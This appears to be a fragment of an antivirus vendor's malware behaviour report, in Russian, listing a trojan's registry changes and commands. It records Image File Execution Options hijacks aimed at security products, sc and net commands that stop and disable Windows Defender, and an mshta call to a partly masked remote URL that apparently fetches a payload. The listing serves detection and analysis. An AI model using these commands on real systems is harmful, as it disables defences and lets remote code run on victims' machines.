Техническая информация
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe] 'Debugger' = 'svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe] 'Debugger' = 'svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe] 'Debugger' = 'svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe] 'Debugger' = 'svchost.exe'
- Средство контроля пользовательских учетных записей (UAC)
- '%APPDATA%\Microsoft\xdldhu.exe'
- '<SYSTEM32>\sc.exe' config msmpsvc start= disabled
- '<SYSTEM32>\net1.exe' stop msmpsvc
- '<SYSTEM32>\mshta.exe' "http://so####oreinc.com/soft-usage/favicon.ico?0=##############################################################"
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\sc.exe' config WinDefend start= disabled
- '<SYSTEM32>\net.exe' stop msmpsvc
- <SYSTEM32>\drwtsn32.exe
- ecmd.exe
- %APPDATA%\Microsoft\xdldhu.exe
- ClassName: 'Shell_TrayWnd' WindowName: ''